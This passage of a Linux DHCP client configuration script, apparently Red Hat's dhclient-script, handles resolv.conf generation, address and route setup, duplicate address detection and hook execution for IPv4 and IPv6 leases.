--hostname` or `hostnamectl --transient` # 2) get the domain from this hostname # 3) add this domain to search line in resolv.conf if it's not already # there (domain list that we have recently added there is a parameter of this function) # We can't do this directly when generating resolv.conf in make_resolv_conf(), because # we need to first save the resolv.conf with obtained values before we can call `ipcalc --hostname`. # See bug 637763 search="${1}" if need_hostname; then status=1 OLD_HOSTNAME=$HOSTNAME if [ -n "${new_ip_address}" ]; then eval $(/usr/bin/ipcalc --silent --hostname "${new_ip_address}" ; echo "status=$?") elif [ -n "${new_ip6_address}" ]; then eval $(/usr/bin/ipcalc --silent --hostname "${new_ip6_address}" ; echo "status=$?") fi if [ ${status} -eq 0 ]; then domain=$(echo "${HOSTNAME}" | cut -s -d "." -f 2-) fi HOSTNAME=$OLD_HOSTNAME else domain=$(hostnamectl --transient 2>/dev/null | cut -s -d "." -f 2-) fi if [ -n "${domain}" ] && [ ! "${domain}" = "localdomain" ] && [ ! "${domain}" = "localdomain6" ] && [ ! "${domain}" = "(none)" ] && [[ ! "${domain}" = *\ * ]]; then is_in="false" for s in ${search}; do if [ "${s}" = "${domain}" ] || [ "${s}" = "${domain}." ]; then is_in="true" fi done if [ "${is_in}" = "false" ]; then # Add domain name to search list (#637763) sed -i -e "s/${search}/${search} ${domain}/" "${RESOLVCONF}" fi fi } make_resolv_conf() { [ "${PEERDNS}" = "no" ] && return if [ "${reason}" = "RENEW" ] && [ "${new_domain_name}" = "${old_domain_name}" ] && [ "${new_domain_name_servers}" = "${old_domain_name_servers}" ]; then return fi if [ -n "${new_domain_name}" ] || [ -n "${new_domain_name_servers}" ] || [ -n "${new_domain_search}" ]; then rscf="$(mktemp "${TMPDIR:-/tmp}/XXXXXX")" [[ -z "${rscf}" ]] && return echo "; generated by /usr/sbin/dhclient-script" > "${rscf}" if [ -n "${SEARCH}" ]; then search="${SEARCH}" else if [ -n "${new_domain_search}" ]; then # Remove instaces of \032 (#450042) search="${new_domain_search//\\032/ }" elif [ -n "${new_domain_name}" ]; then # Note that the DHCP 'Domain Name Option' is really just a domain # name, and that this practice of using the domain name option as # a search path is both nonstandard and deprecated. search="${new_domain_name}" fi fi if [ -n "${search}" ]; then echo "search ${search}" >> "${rscf}" fi if [ -n "${RES_OPTIONS}" ]; then echo "options ${RES_OPTIONS}" >> "${rscf}" fi if [ -n "${new_domain_name_servers}" ]; then for nameserver in ${new_domain_name_servers} ; do echo "nameserver ${nameserver}" >> "${rscf}" done else # keep 'old' nameservers sed -n /^\w*[Nn][Aa][Mm][Ee][Ss][Ee][Rr][Vv][Ee][Rr]/p "${RESOLVCONF}" >> "${rscf}" fi change_resolv_conf "${rscf}" rm -f "${rscf}" if [ -n "${search}" ]; then eventually_add_hostnames_domain_to_search "${search}" fi elif [ -n "${new_dhcp6_name_servers}" ] || [ -n "${new_dhcp6_domain_search}" ]; then rscf="$(mktemp "${TMPDIR:-/tmp}/XXXXXX")" [[ -z "${rscf}" ]] && return echo "; generated by /usr/sbin/dhclient-script" > "${rscf}" if [ -n "${SEARCH}" ]; then search="${SEARCH}" else if [ -n "${new_dhcp6_domain_search}" ]; then search="${new_dhcp6_domain_search//\\032/ }" fi fi if [ -n "${search}" ]; then echo "search ${search}" >> "${rscf}" fi if [ -n "${RES_OPTIONS}" ]; then echo "options ${RES_OPTIONS}" >> "${rscf}" fi shopt -s nocasematch if [ -n "${new_dhcp6_name_servers}" ]; then for nameserver in ${new_dhcp6_name_servers} ; do # If the nameserver has a link-local address # add a <zone_id> (interface name) to it. if [[ "$nameserver" =~ ^fe80:: ]] then zone_id="%${interface}" else zone_id= fi echo "nameserver ${nameserver}$zone_id" >> "${rscf}" done else # keep 'old' nameservers sed -n /^\w*[Nn][Aa][Mm][Ee][Ss][Ee][Rr][Vv][Ee][Rr]/p "${RESOLVCONF}" >> "${rscf}" fi shopt -u nocasematch change_resolv_conf "${rscf}" rm -f "${rscf}" if [ -n "${search}" ]; then eventually_add_hostnames_domain_to_search "${search}" fi fi } # run given script run_hook() { local script local exit_status script="${1}" if [ -f ${script} ]; then . ${script} fi if [ -n "${exit_status}" ] && [ "${exit_status}" -ne 0 ]; then logmessage "${script} returned non-zero exit status ${exit_status}" fi return ${exit_status} } # run scripts in given directory run_hookdir() { local dir dir="${1}" if [ -d "${dir}" ]; then for script in $(find $dir -executable ! -empty); do run_hook ${script} || return $? done fi return 0 } exit_with_hooks() { # Source the documented exit-hook script, if it exists run_hook "${ETCDIR}/dhclient-exit-hooks" || exit $? # Now run scripts in the hooks directory. run_hookdir "${ETCDIR}/dhclient-exit-hooks.d" || exit $? exit ${1} } quad2num() { if [ $# -eq 4 ]; then let n="${1} << 24 | ${2} << 16 | ${3} << 8 | ${4}" echo "${n}" return 0 else echo "0" return 1 fi } ip2num() { IFS='.' quad2num ${1} } num2ip() { let n="${1}" let o1="(${n} >> 24) & 0xff" let o2="(${n} >> 16) & 0xff" let o3="(${n} >> 8) & 0xff" let o4="${n} & 0xff" echo "${o1}.${o2}.${o3}.${o4}" } get_network_address() { # get network address for the given IP address and (netmask or prefix) ip="${1}" nm="${2}" if [ -n "${ip}" -a -n "${nm}" ]; then if [[ "${nm}" = *.* ]]; then ipcalc -s -n "${ip}" "${nm}" | cut -d '=' -f 2 else ipcalc -s -n "${ip}/${nm}" | cut -d '=' -f 2 fi fi } get_prefix() { # get prefix for the given IP address and mask ip="${1}" nm="${2}" if [ -n "${ip}" -a -n "${nm}" ]; then ipcalc -s -p "${ip}" "${nm}" | cut -d '=' -f 2 fi } class_bits() { let ip=$(IFS='.' ip2num "${1}") let bits=32 let mask='255' for ((i=0; i <= 3; i++, 'mask<<=8')); do let v='ip&mask' if [ "$v" -eq 0 ] ; then let bits-=8 else break fi done echo $bits } is_router_reachable() { # handle DHCP servers that give us a router not on our subnet router="${1}" routersubnet="$(get_network_address "${router}" "${new_subnet_mask}")" mysubnet="$(get_network_address "${new_ip_address}" "${new_subnet_mask}")" if [ ! "${routersubnet}" = "${mysubnet}" ]; then # TODO: This function should not have side effects such as adding or # removing routes. Can this be done with "ip route get" or similar # instead? Are there cases that rely on this route being created here? ip -4 route replace "${router}/32" dev "${interface}" if [ "$?" -ne 0 ]; then logmessage "failed to create host route for ${router}" return 1 fi fi return 0 } add_default_gateway() { router="${1}" if is_router_reachable "${router}" ; then if [ $# -gt 1 ] && [ -n "${2}" ] && [[ "${2}" -gt 0 ]]; then ip -4 route replace default via "${router}" dev "${interface}" metric "${2}" else ip -4 route replace default via "${router}" dev "${interface}" fi if [ $? -ne 0 ]; then logmessage "failed to create default route: ${router} dev ${interface} ${metric}" return 1 else return 0 fi fi return 1 } execute_client_side_configuration_scripts() { # execute any additional client side configuration scripts we have if [ "${1}" == "config" ] || [ "${1}" == "restore" ]; then for f in ${ETCDIR}/dhclient.d/*.sh ; do if [ -x "${f}" ]; then subsystem="${f%.sh}" subsystem="${subsystem##*/}" . "${f}" "${subsystem}_${1}" fi done fi } flush_dev() { # Instead of bringing the interface down (#574568) # explicitly clear ARP cache and flush all addresses & routes. ip -4 addr flush dev "${1}" >/dev/null 2>&1 ip -4 route flush dev "${1}" >/dev/null 2>&1 ip -4 neigh flush dev "${1}" >/dev/null 2>&1 } remove_old_addr() { if [ -n "${old_ip_address}" ]; then if [ -n "${old_prefix}" ]; then ip -4 addr del "${old_ip_address}/${old_prefix}" dev "${interface}" >/dev/null 2>&1 else ip -4 addr del "${old_ip_address}" dev "${interface}" >/dev/null 2>&1 fi fi } dhconfig() { if [ -n "${old_ip_address}" ] && [ -n "${alias_ip_address}" ] && [ ! "${alias_ip_address}" = "${old_ip_address}" ]; then # possible new alias, remove old alias first ip -4 addr del "${old_ip_address}" dev "${interface}" label "${interface}:0" fi if [ -n "${old_ip_address}" ] && [ ! "${old_ip_address}" = "${new_ip_address}" ]; then # IP address changed. Delete all routes, and clear the ARP cache. flush_dev "${interface}" fi # make sure the interface is up ip link set dev "${interface}" up # replace = add if it doesn't exist or override (update lifetimes) if it's there ip -4 addr replace "${new_ip_address}/${new_prefix}" broadcast "${new_broadcast_address}" dev "${interface}" \ valid_lft "${new_dhcp_lease_time}" preferred_lft "${new_dhcp_lease_time}" >/dev/null 2>&1 if [ "${reason}" = "BOUND" ] || [ "${reason}" = "REBOOT" ] || [ ! "${old_ip_address}" = "${new_ip_address}" ] || [ ! "${old_subnet_mask}" = "${new_subnet_mask}" ] || [ ! "${old_network_number}" = "${new_network_number}" ] || [ ! "${old_broadcast_address}" = "${new_broadcast_address}" ] || [ ! "${old_routers}" = "${new_routers}" ] || [ ! "${old_interface_mtu}" = "${new_interface_mtu}" ]; then # The 576 MTU is only used for X.25 and dialup connections # where the admin wants low latency. Such a low MTU can cause # problems with UDP traffic, among other things. As such, # disallow MTUs from 576 and below by default, so that broken # MTUs are ignored, but higher stuff is allowed (1492, 1500, etc). if [ -n "${new_interface_mtu}" ] && [ "${new_interface_mtu}" -gt 576 ]; then ip link set dev "${interface}" mtu "${new_interface_mtu}" fi # static routes if [ -n "${new_classless_static_routes}" ] || [ -n "${new_static_routes}" ]; then if [ -n "${new_classless_static_routes}" ]; then IFS=', |' static_routes=(${new_classless_static_routes}) # If the DHCP server returns both a Classless Static Routes option and # a Router option, the DHCP client MUST ignore the Router option. (RFC3442) new_routers="" else IFS=', |' static_routes=(${new_static_routes}) fi route_targets=() for((i=0; i<${#static_routes[@]}; i+=2)); do target=${static_routes[$i]} if [ -n "${new_classless_static_routes}" ]; then if [ "${target}" = "0" ]; then new_routers="${static_routes[$i+1]}" continue else prefix=${target%%.*} target=${target#*.} IFS="." target_arr=(${target}) unset IFS ((pads=4-${#target_arr[@]})) for j in $(seq $pads); do target="${target}.0" done # Client MUST zero any bits in the subnet number where the corresponding bit in the mask is zero. # In other words, the subnet number installed in the routing table is the logical AND of # the subnet number and subnet mask given in the Classless Static Routes option. (RFC3442) target="$(get_network_address "${target}" "${prefix}")" fi else prefix=$(class_bits "${target}") fi gateway=${static_routes[$i+1]} # special case 0.0.0.0 to allow static routing for link-local addresses # (including IPv4 multicast) which will not have a next-hop (#769463, #787318) if [ "${gateway}" = "0.0.0.0" ]; then valid_gateway=0 scope='scope link' else is_router_reachable "${gateway}" valid_gateway=$? scope='' fi if [ "${valid_gateway}" -eq 0 ]; then metric='' for t in "${route_targets[@]}"; do if [ "${t}" = "${target}" ]; then if [ -z "${metric}" ]; then metric=1 else ((metric=metric+1)) fi fi done if [ -n "${metric}" ]; then metric="metric ${metric}" fi ip -4 route replace "${target}/${prefix}" proto static via "${gateway}" dev "${interface}" ${metric} ${scope} if [ $? -ne 0 ]; then logmessage "failed to create static route: ${target}/${prefix} via ${gateway} dev ${interface} ${metric}" else route_targets=(${route_targets[@]} ${target}) fi fi done fi # gateways if [[ ( "${DEFROUTE}" != "no" ) && (( -z "${GATEWAYDEV}" ) || ( "${GATEWAYDEV}" = "${interface}" )) ]]; then if [[ ( -z "${GATEWAY}" ) || (( -n "${DHCLIENT_IGNORE_GATEWAY}" ) && ( "${DHCLIENT_IGNORE_GATEWAY}" = [Yy]* )) ]]; then metric="${METRIC:-}" let i="${METRIC:-0}" default_routers=() for router in ${new_routers} ; do added_router=- for r in "${default_routers[@]}" ; do if [ "${r}" = "${router}" ]; then added_router=1 fi done if [ -z "${router}" ] || [ "${added_router}" = "1" ] || [ "$(IFS='.' ip2num ${router})" -le 0 ] || [[ ( "${router}" = "${new_broadcast_address}" ) && ( "${new_subnet_mask}" != "255.255.255.255" ) ]]; then continue fi default_routers=(${default_routers[@]} ${router}) add_default_gateway "${router}" "${metric}" let i=i+1 metric=${i} done elif [ -n "${GATEWAY}" ]; then routersubnet=$(get_network_address "${GATEWAY}" "${new_subnet_mask}") mysubnet=$(get_network_address "${new_ip_address}" "${new_subnet_mask}") if [ "${routersubnet}" = "${mysubnet}" ]; then ip -4 route replace default via "${GATEWAY}" dev "${interface}" fi fi fi fi if [ ! "${new_ip_address}" = "${alias_ip_address}" ] && [ -n "${alias_ip_address}" ]; then # Reset the alias address (fix: this should really only do this on changes) ip -4 addr flush dev "${interface}" label "${interface}:0" >/dev/null 2>&1 ip -4 addr replace "${alias_ip_address}/${alias_prefix}" broadcast "${alias_broadcast_address}" dev "${interface}" label "${interface}:0" ip -4 route replace "${alias_ip_address}/32" dev "${interface}" fi # After dhclient brings an interface UP with a new IP address, subnet mask, # and routes, in the REBOOT/BOUND states -> search for "dhclient-up-hooks". if [ "${reason}" = "BOUND" ] || [ "${reason}" = "REBOOT" ] || [ ! "${old_ip_address}" = "${new_ip_address}" ] || [ ! "${old_subnet_mask}" = "${new_subnet_mask}" ] || [ ! "${old_network_number}" = "${new_network_number}" ] || [ ! "${old_broadcast_address}" = "${new_broadcast_address}" ] || [ ! "${old_routers}" = "${new_routers}" ] || [ ! "${old_interface_mtu}" = "${new_interface_mtu}" ]; then if [ -x "${ETCDIR}/dhclient-${interface}-up-hooks" ]; then . "${ETCDIR}/dhclient-${interface}-up-hooks" elif [ -x ${ETCDIR}/dhclient-up-hooks ]; then . ${ETCDIR}/dhclient-up-hooks fi fi make_resolv_conf if [ -n "${new_host_name}" ] && need_hostname; then hostnamectl set-hostname --transient --no-ask-password "${new_host_name}" fi if [[ ( "${DHCP_TIME_OFFSET_SETS_TIMEZONE}" = [yY1]* ) && ( -n "${new_time_offset}" ) ]]; then # DHCP option "time-offset" is requested by default and should be # handled. The geographical zone abbreviation cannot be determined # from the GMT offset, but the $ZONEINFO/Etc/GMT$offset file can be # used - note: this disables DST. ((z=new_time_offset/3600)) ((hoursWest=$(printf '%+d' $z))) if (( $hoursWest < 0 )); then # tzdata treats negative 'hours west' as positive 'gmtoff'! ((hoursWest*=-1)) fi tzfile=/usr/share/zoneinfo/Etc/GMT$(printf '%+d' ${hoursWest}) if [ -e "${tzfile}" ]; then cp -fp "${tzfile}" /etc/localtime touch /etc/localtime fi fi execute_client_side_configuration_scripts "config" } wait_for_link_local() { # we need a link-local address to be ready (not tentative) for i in $(seq 50); do linklocal=$(ip -6 addr show dev "${interface}" scope link) # tentative flag means DAD is still not complete tentative=$(echo "${linklocal}" | grep tentative) [[ -n "${linklocal}" && -z "${tentative}" ]] && exit_with_hooks 0 sleep 0.1 done } # Section 18.1.8. (Receipt of Reply Messages) of RFC 3315 says: # The client SHOULD perform duplicate address detection on each of # the addresses in any IAs it receives in the Reply message before # using that address for traffic. add_ipv6_addr_with_DAD() { ip -6 addr replace "${new_ip6_address}/${new_ip6_prefixlen}" \ dev "${interface}" scope global valid_lft "${new_max_life}" \ preferred_lft "${new_preferred_life}" # repeatedly test whether newly added address passed # duplicate address detection (DAD) for i in $(seq 5); do sleep 1 # give the DAD some time addr=$(ip -6 addr show dev "${interface}" \ | grep "${new_ip6_address}/${new_ip6_prefixlen}") # tentative flag == DAD is still not complete tentative=$(echo "${addr}" | grep tentative) # dadfailed flag == address is already in use somewhere else dadfailed=$(echo "${addr}" | grep dadfailed) if [ -n "${dadfailed}" ] ; then # address was added with valid_lft/preferred_lft 'forever', remove it ip -6 addr del "${new_ip6_address}/${new_ip6_prefixlen}" dev "${interface}" exit_with_hooks 3 fi if [ -z "${tentative}" ] ; then if [ -n "${addr}" ]; then # DAD is over return 0 else # address was auto-removed (or not added at all) exit_with_hooks 3 fi fi done return 0 } dh6config() { if [ -n "${old_ip6_prefix}" ] || [ -n "${new_ip6_prefix}" ]; then echo "Prefix ${reason} old=${old_ip6_prefix} new=${new_ip6_prefix}" exit_with_hooks 0 fi case "${reason}" in BOUND6) if [ -z "${new_ip6_address}" ] || [ -z "${new_ip6_prefixlen}" ]; then exit_with_hooks 2 fi add_ipv6_addr_with_DAD make_resolv_conf ;; RENEW6|REBIND6) if [[ -n "${new_ip6_address}" ]] && [[ -n "${new_ip6_prefixlen}" ]]; then if [[ ! "${new_ip6_address}" = "${old_ip6_address}" ]]; then [[ -n "${old_ip6_address}" ]] && ip -6 addr del "${old_ip6_address}" dev "${interface}" fi # call it even if new_ip6_address = old_ip6_address to update lifetimes add_ipv6_addr_with_DAD fi if [ ! "${new_dhcp6_name_servers}" = "${old_dhcp6_name_servers}" ] || [ ! "${new_dhcp6_domain_search}" = "${old_dhcp6_domain_search}" ]; then make_resolv_conf fi ;; DEPREF6) if [ -z "${new_ip6_prefixlen}" ]; then exit_with_hooks 2 fi ip -6 addr change "${new_ip6_address}/${new_ip6_prefixlen}" \ dev "${interface}" scope global preferred_lft 0 ;; esac execute_client_side_configuration_scripts "config" } # Functions from /etc/sysconfig/network-scripts/network-functions need_hostname () { CHECK_HOSTNAME=$(hostnamectl --transient) if [[ "${CHECK_HOSTNAME}" = "(none)" ]] || [[ "${CHECK_HOSTNAME}" = "localhost" ]] || [[ "${CHECK_HOSTNAME}" = "localhost.localdomain" ]]; then return 0 else return 1 fi } # Takes one argument - temporary resolv.conf file change_resolv_conf () { options=$(grep '^[\ \ ]*option' "${RESOLVCONF}" 2>/dev/null); if [[ -n "${options}" ]]; then # merge options from existing resolv.conf with specified resolv.conf content newres="${options}"$'\n'$(grep -vF "${options}" "${1}"); else newres=$(cat "${1}"); fi; eval $(echo "${newres}" > "${RESOLVCONF}"; echo "status=$?") if [[ $status -eq 0 ]]; then logger -p local7.notice -t "NET" -i "${0} : updated ${RESOLVCONF}"; [[ -e /var/run/nscd/socket ]] && /usr/sbin/nscd -i hosts; # invalidate cache fi; return $status; } get_config_by_name () { LANG=C grep -E -i -l \ "^[[:space:]]*NAME=\"(Auto |System )?${1}\"" \ /etc/sysconfig/network-scripts/ifcfg-* \ | LC_ALL=C sed -e "$__sed_discard_ignored_files" } get_hwaddr () { if [ -f /sys/class/net/${1}/address ]; then awk '{ print toupper($0) }' < /sys/class/net/${1}/address elif [ -d "/sys/class/net/${1}" ]; then LC_ALL= LANG= ip -o link show ${1} 2>/dev/null | \ awk '{ print toupper(gensub(/.*link\/[^ ]* ([[:alnum:]:]*).*/, "\\1", 1)); }' fi } validate_resolv_conf() { # It's possible to have broken symbolic link $RESOLVCONF -> <some_nm_dir> # https://bugzilla.redhat.com/1475279 # Remove broken link and hope NM will survive if [ -h "${RESOLVCONF}" -a ! -e "${RESOLVCONF}" ]; then logmessage "${RESOLVCONF} is broken symlink. Recreating..." unlink "${RESOLVCONF}" touch "${RESOLVCONF}" fi; } get_config_by_hwaddr () { LANG=C grep -il "^[[:space:]]*HWADDR=\"\?${1}\"\?\([[:space:]#]\|$\)" /etc/sysconfig/network-scripts/ifcfg-* \ | LC_ALL=C sed -e "$__sed_discard_ignored_files" } get_config_by_device () { LANG=C grep -l "^[[:space:]]*DEVICE=\"\?${1}\"\?\([[:space:]#]\|$\)" \ /etc/sysconfig/network-scripts/ifcfg-* \ | LC_ALL=C sed -e "$__sed_discard_ignored_files" } need_config () { # A sed expression to filter out the files that is_ignored_file recognizes __sed_discard_ignored_files='/\(~\|\.bak\|\.orig\|\.rpmnew\|\.rpmorig\|\.rpmsave\)$/d' local nconfig CONFIG="ifcfg-${1}" [ -f "${CONFIG}" ] && return CONFIG="${1##*/}" [ -f "${CONFIG}" ] && return nconfig=$(get_config_by_name "${1}") if [ -n "$nconfig" ] && [ -f "$nconfig" ]; then CONFIG=${nconfig##*/} return fi local addr=$(get_hwaddr ${1}) if [ -n "$addr" ]; then nconfig=$(get_config_by_hwaddr ${addr}) if [ -n "$nconfig" ] ; then CONFIG=${nconfig##*/} [ -f "${CONFIG}" ] && return fi fi nconfig=$(get_config_by_device ${1}) if [ -n "$nconfig" ] && [ -f "$nconfig" ]; then CONFIG=${nconfig##*/} return fi } # We need this because of PEERDNS source_config () { CONFIG=${CONFIG##*/} . /etc/sysconfig/network-scripts/$CONFIG } # # ### MAIN # # Invoke the local dhcp client enter hooks, if they exist. run_hook "${ETCDIR}/dhclient-enter-hooks" || exit $? run_hookdir "${ETCDIR}/dhclient-enter-hooks.d" || exit $? [ "${PEERDNS}" = "no" ] || validate_resolv_conf if [ -f /etc/sysconfig/network ]; then . /etc/sysconfig/network fi if [ -f /etc/sysconfig/networking/network ]; then . /etc/sysconfig/networking/network fi ## it's possible initscripts package is not installed ## for example in container. Don't flood stderr then if [ -d /etc/sysconfig/network-scripts ]; then cd /etc/sysconfig/network-scripts CONFIG="${interface}" need_config "${CONFIG}" source_config >/dev/null 2>&1 fi; # In case there's some delay in rebinding, it might happen, that the valid_lft drops to 0, # address is removed by kernel and then re-added few seconds later by dhclient-script. # With this work-around the address lives a minute longer. # "4294967235" = infinite (forever) - 60 [[ "${new_dhcp_lease_time}" -lt "4294967235" ]] && new_dhcp_lease_time=$((new_dhcp_lease_time + 60)) [[ "${new_max_life}" -lt "4294967235" ]] && new_max_life=$((new_max_life + 60)) new_prefix="$(get_prefix "${new_ip_address}" "${new_subnet_mask}")" old_prefix="$(get_prefix "${old_ip_address}" "${old_subnet_mask}")" alias_prefix="$(get_prefix "${alias_ip_address}" "${alias_subnet_mask}")" case "${reason}" in MEDIUM|ARPCHECK|ARPSEND) # Do nothing exit_with_hooks 0 ;; PREINIT) if [ -n "${alias_ip_address}" ]; then # Flush alias, its routes will disappear too. ip -4 addr flush dev "${interface}" label "${interface}:0" >/dev/null 2>&1 fi # upstream dhclient-script removes (ifconfig $interface 0 up) old adresses in PREINIT, # but we sometimes (#125298) need (for iSCSI/nfs root to have a dhcp interface) to keep the existing ip # flush_dev ${interface} ip link set dev "${interface}" up if [ -n "${DHCLIENT_DELAY}" ] && [ "${DHCLIENT_DELAY}" -gt 0 ]; then # We need to give the kernel some time to get the interface up. sleep "${DHCLIENT_DELAY}" fi exit_with_hooks 0 ;; PREINIT6) # ensure interface is up ip link set dev "${interface}" up # Removing stale addresses from aborted clients shouldn't be needed # since we've been adding addresses with lifetimes. # Which means that kernel eventually removes them automatically. # ip -6 addr flush dev "${interface}" scope global permanent wait_for_link_local exit_with_hooks 0 ;; BOUND|RENEW|REBIND|REBOOT) if [ -z "${interface}" ] || [ -z "${new_ip_address}" ]; then exit_with_hooks 2 fi if arping -D -q -c2 -I "${interface}" "${new_ip_address}"; then dhconfig exit_with_hooks 0 else # DAD failed, i.e. address is already in use ARP_REPLY=$(arping -D -c2 -I "${interface}" "${new_ip_address}" | grep reply | awk '{print toupper($5)}' | cut -d "[" -f2 | cut -d "]" -f1) OUR_MACS=$(ip link show | grep link | awk '{print toupper($2)}' | uniq) if [[ "${OUR_MACS}" = *"${ARP_REPLY}"* ]]; then # the reply can come from our system, that's OK (#1116004#c33) dhconfig exit_with_hooks 0 else exit_with_hooks 1 fi fi ;; BOUND6|RENEW6|REBIND6|DEPREF6) dh6config exit_with_hooks 0 ;; EXPIRE6|RELEASE6|STOP6) if [ -z "${old_ip6_address}" ] || [ -z "${old_ip6_prefixlen}" ]; then exit_with_hooks 2 fi ip -6 addr del "${old_ip6_address}/${old_ip6_prefixlen}" \ dev "${interface}" execute_client_side_configuration_scripts "restore" if [ -x "${ETCDIR}/dhclient-${interface}-down-hooks" ]; then . "${ETCDIR}/dhclient-${interface}-down-hooks" elif [ -x ${ETCDIR}/dhclient-down-hooks ]; then . ${ETCDIR}/dhclient-down-hooks fi exit_with_hooks 0 ;; EXPIRE|FAIL|RELEASE|STOP) execute_client_side_configuration_scripts "restore" if [ -x "${ETCDIR}/dhclient-${interface}-down-hooks" ]; then . "${ETCDIR}/dhclient-${interface}-down-hooks" elif [ -x ${ETCDIR}/dhclient-down-hooks ]; then . ${ETCDIR}/dhclient-down-hooks fi if [ -n "${alias_ip_address}" ]; then # Flush alias ip -4 addr flush dev "${interface}" label "${interface}:0" >/dev/null 2>&1 fi # upstream script sets interface down here, # we only remove old ip address #flush_dev ${interface} remove_old_addr if [ -n "${alias_ip_address}" ]; then ip -4 addr replace "${alias_ip_address}/${alias_prefix}" broadcast "${alias_broadcast_address}" dev "${interface}" label "${interface}:0" ip -4 route replace "${alias_ip_address}/32" dev "${interface}" fi exit_with_hooks 0 ;; TIMEOUT) if [ -n "${new_routers}" ]; then if [ -n "${alias_ip_address}" ]; then ip -4 addr flush dev "${interface}" label "${interface}:0" >/dev/null 2>&1 fi ip -4 addr replace "${new_ip_address}/${new_prefix}" \ broadcast "${new_broadcast_address}" dev "${interface}" \ valid_lft "${new_dhcp_lease_time}" preferred_lft "${new_dhcp_lease_time}" set ${new_routers} if ping -q -c 1 -w 10 -I "${interface}" "${1}"; then dhconfig exit_with_hooks 0 fi #flush_dev ${interface} remove_old_addr exit_with_hooks 1 else exit_with_hooks 1 fi ;; *) logmessage "unhandled state: ${reason}" exit_with_hooks 1 ;; esac exit_with_hooks 0
Close